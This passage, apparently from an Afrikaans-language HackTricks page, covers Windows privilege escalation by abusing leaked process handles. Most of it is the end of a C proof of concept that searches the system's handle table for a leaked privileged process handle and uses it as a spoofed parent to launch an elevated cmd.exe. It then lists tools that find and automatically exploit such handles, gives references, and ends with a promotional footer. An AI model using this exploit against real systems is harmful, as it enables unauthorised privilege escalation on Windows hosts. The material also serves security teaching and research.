// skip some objects to avoid getting stuck
|
|
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
|
|
if (handle.GrantedAccess == 0x0012019f
|
|
&& handle.GrantedAccess != 0x00120189
|
|
&& handle.GrantedAccess != 0x120089
|
|
&& handle.GrantedAccess != 0x1A019F ) {
|
|
free(objectTypeInfo);
|
|
continue;
|
|
}
|
|
|
|
// get object name information
|
|
objectNameInfo = malloc(0x1000);
|
|
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
|
ObjectNameInformation,
|
|
objectNameInfo,
|
|
0x1000,
|
|
&returnLength ) != STATUS_SUCCESS) {
|
|
|
|
// adjust the size of a returned object and query again
|
|
objectNameInfo = realloc(objectNameInfo, returnLength);
|
|
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
|
ObjectNameInformation,
|
|
objectNameInfo,
|
|
returnLength,
|
|
NULL ) != STATUS_SUCCESS) {
|
|
free(objectTypeInfo);
|
|
free(objectNameInfo);
|
|
continue;
|
|
}
|
|
}
|
|
|
|
// check if we've got a process object
|
|
objectName = *(PUNICODE_STRING) objectNameInfo;
|
|
UNICODE_STRING pProcess;
|
|
|
|
pRtlInitUnicodeString(&pProcess, L"Process");
|
|
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
|
|
printf("[+] Found process handle (%x)\n", handle.HandleValue);
|
|
hProc = (HANDLE) handle.HandleValue;
|
|
free(objectTypeInfo);
|
|
free(objectNameInfo);
|
|
break;
|
|
}
|
|
else
|
|
continue;
|
|
|
|
free(objectTypeInfo);
|
|
free(objectNameInfo);
|
|
}
|
|
|
|
return hProc;
|
|
}
|
|
|
|
|
|
int main(int argc, char **argv) {
|
|
|
|
HANDLE hProc = NULL;
|
|
STARTUPINFOEXA si;
|
|
PROCESS_INFORMATION pi;
|
|
int pid = 0;
|
|
SIZE_T size;
|
|
BOOL ret;
|
|
|
|
Sleep(20000);
|
|
// find leaked process handle
|
|
hProc = GetVulnProcHandle();
|
|
|
|
if ( hProc != NULL) {
|
|
|
|
// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
|
|
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
|
|
|
|
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
|
|
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );
|
|
|
|
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
|
|
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
|
|
|
|
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
|
|
|
|
// Spawn elevated cmd process
|
|
ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
|
|
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );
|
|
|
|
if (ret == FALSE) {
|
|
printf("[!] Error spawning new process: [%d]\n", GetLastError());
|
|
return -1;
|
|
}
|
|
}
|
|
|
|
Sleep(20000);
|
|
return 0;
|
|
}
|
|
```
|
|
## Ander gereedskap en voorbeelde
|
|
|
|
* [**https://github.com/lab52io/LeakedHandlesFinder**](https://github.com/lab52io/LeakedHandlesFinder)
|
|
|
|
Hierdie gereedskap stel jou in staat om gelekte handvatsels te monitor om kwesbare eenhede te vind en selfs outomaties te misbruik. Dit het ook 'n gereedskap om een te laat lek.
|
|
|
|
* [**https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles**](https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles)
|
|
|
|
'n Ander gereedskap om 'n handvat te laat lek en dit te misbruik.
|
|
|
|
## Verwysings
|
|
|
|
* [http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
|
|
* [https://github.com/lab52io/LeakedHandlesFinder](https://github.com/lab52io/LeakedHandlesFinder)
|
|
* [https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html](https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Ander maniere om HackTricks te ondersteun:
|
|
|
|
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
|
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
|
|
|
</details>
|